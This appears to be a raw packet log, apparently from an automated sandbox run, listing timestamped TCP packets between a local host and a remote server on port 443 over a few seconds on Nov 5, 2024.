Nov 5, 2024 20:51:43.499805927 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.499861956 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.500015974 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.500025988 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.537455082 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.537553072 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.537607908 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.537786007 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.537797928 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.537806034 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.537811041 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.540551901 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.540582895 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.540725946 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.540865898 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.540877104 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551372051 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551476955 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551527023 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.551556110 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551601887 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551652908 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.551692963 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.551707983 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.551717043 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.551722050 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.554039001 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.554059029 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.554147005 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.554265976 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.554270983 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.619963884 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.620066881 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.620220900 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.620255947 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.620260954 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.620270014 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.620273113 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.623367071 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.623394966 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.623461008 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.623629093 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.623639107 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.067208052 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.067708015 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.067756891 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.070719957 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.070733070 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.207611084 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.207659006 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.207706928 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.207784891 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.207853079 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.208019972 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.208044052 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.208070040 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.208076954 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.211019039 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.211061001 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.211308002 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.211308002 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.211352110 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.289058924 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.289992094 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.289992094 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.290024042 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.290034056 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.316682100 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.317527056 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.317559004 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.317569971 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.317732096 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.317734957 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.318077087 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.318106890 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.318382978 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.318387985 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.381536961 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.382492065 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.382492065 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.382502079 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.382530928 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.432738066 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.432805061 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.433172941 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.433392048 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.433392048 CET	49932	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.433409929 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.433418036 CET	443	49932	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.436074018 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.436110973 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.436340094 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.436340094 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.436369896 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.453612089 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.453644037 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.453696966 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.453789949 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.453977108 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.453989029 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.454024076 CET	49933	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.454029083 CET	443	49933	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.455045938 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.455116034 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.455351114 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.455351114 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.455498934 CET	49934	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.455535889 CET	443	49934	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.456832886 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.456876040 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.457045078 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.457149029 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.457163095 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.457531929 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.457540989 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.457679987 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.457773924 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.457783937 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.519469023 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.519565105 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.519706011 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.519874096 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.519874096 CET	49935	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.519881010 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.519889116 CET	443	49935	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.522865057 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.522881985 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.523031950 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.523144960 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.523154020 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.958769083 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.967782021 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.967811108 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:44.968559027 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:44.968564987 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.100529909 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.100641966 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.100689888 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.100723028 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.100766897 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.170191050 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.170219898 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.170233011 CET	49936	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.170238972 CET	443	49936	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.176521063 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.176563978 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.176630974 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.176768064 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.176775932 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.220419884 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.221369028 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.221394062 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.221987963 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.221995115 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.222775936 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.223968983 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.223989010 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.224617958 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.224622011 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.267404079 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.279469967 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.279506922 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.285182953 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.285191059 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.357728958 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.357765913 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.357822895 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.357858896 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.357889891 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.358382940 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.358406067 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.358419895 CET	49939	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.358433008 CET	443	49939	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.361737967 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.361769915 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.361846924 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.362070084 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.362078905 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.365072966 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.365145922 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.365195990 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.369949102 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.369987011 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.370006084 CET	49938	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.370012045 CET	443	49938	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.378427982 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.378523111 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.378667116 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.379184961 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.379196882 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.399838924 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.406779051 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.406810045 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.413280964 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.413294077 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.416414022 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.416482925 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.416541100 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.417807102 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.417823076 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.417831898 CET	49940	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.417835951 CET	443	49940	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.423465014 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.423511028 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.423585892 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.424173117 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.424189091 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.543803930 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.543937922 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.543998957 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.544152021 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.544172049 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.544182062 CET	49937	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.544188023 CET	443	49937	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.547207117 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.547236919 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.547508955 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.547651052 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.547662020 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.938595057 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.939340115 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.939362049 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:45.939796925 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:45.939800978 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.076482058 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.076508999 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.076554060 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.076585054 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.076618910 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.076792955 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.076817036 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.076828003 CET	49941	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.076833010 CET	443	49941	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.079550982 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.079596043 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.079806089 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.079950094 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.079965115 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.123830080 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.124329090 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.124378920 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.125243902 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.125263929 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.137604952 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.138021946 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.138041973 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.138468027 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.138473034 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.197077036 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.197588921 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.197602987 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.198035002 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.198040009 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.260756969 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.261142015 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.261198997 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.261260033 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.261280060 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.261295080 CET	49942	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.261302948 CET	443	49942	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.264097929 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.264130116 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.264203072 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.264384985 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.264395952 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.281196117 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.281380892 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.281474113 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.281539917 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.281548023 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.281557083 CET	49943	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.281562090 CET	443	49943	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.284229994 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.284282923 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.284337044 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.284471989 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.284487009 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.325036049 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.325498104 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.325514078 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.325934887 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.325939894 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.344310045 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.344363928 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.344398022 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.344415903 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.344461918 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.344669104 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.344686985 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.344700098 CET	49944	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.344705105 CET	443	49944	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.347832918 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.347867966 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.347944975 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.348125935 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.348136902 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.462917089 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.462982893 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.463089943 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.463222980 CET	49945	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.463229895 CET	443	49945	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.466017008 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.466064930 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.466130018 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.466284990 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.466300964 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.852314949 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.854763031 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.854780912 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.855182886 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.855190039 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.998538017 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.998594999 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.998747110 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.998881102 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.998881102 CET	49946	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:46.998904943 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:46.998915911 CET	443	49946	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.001797915 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.001837015 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.002873898 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.003015995 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.003026962 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.017817020 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.019104004 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.019119024 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.019704103 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.019710064 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.075297117 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.075757980 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.075783968 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.076323986 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.076328039 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.096678972 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.097501993 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.097501993 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.097517967 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.097529888 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.152851105 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.152898073 CET	443	49947	13.107.253.45	192.168.2.6
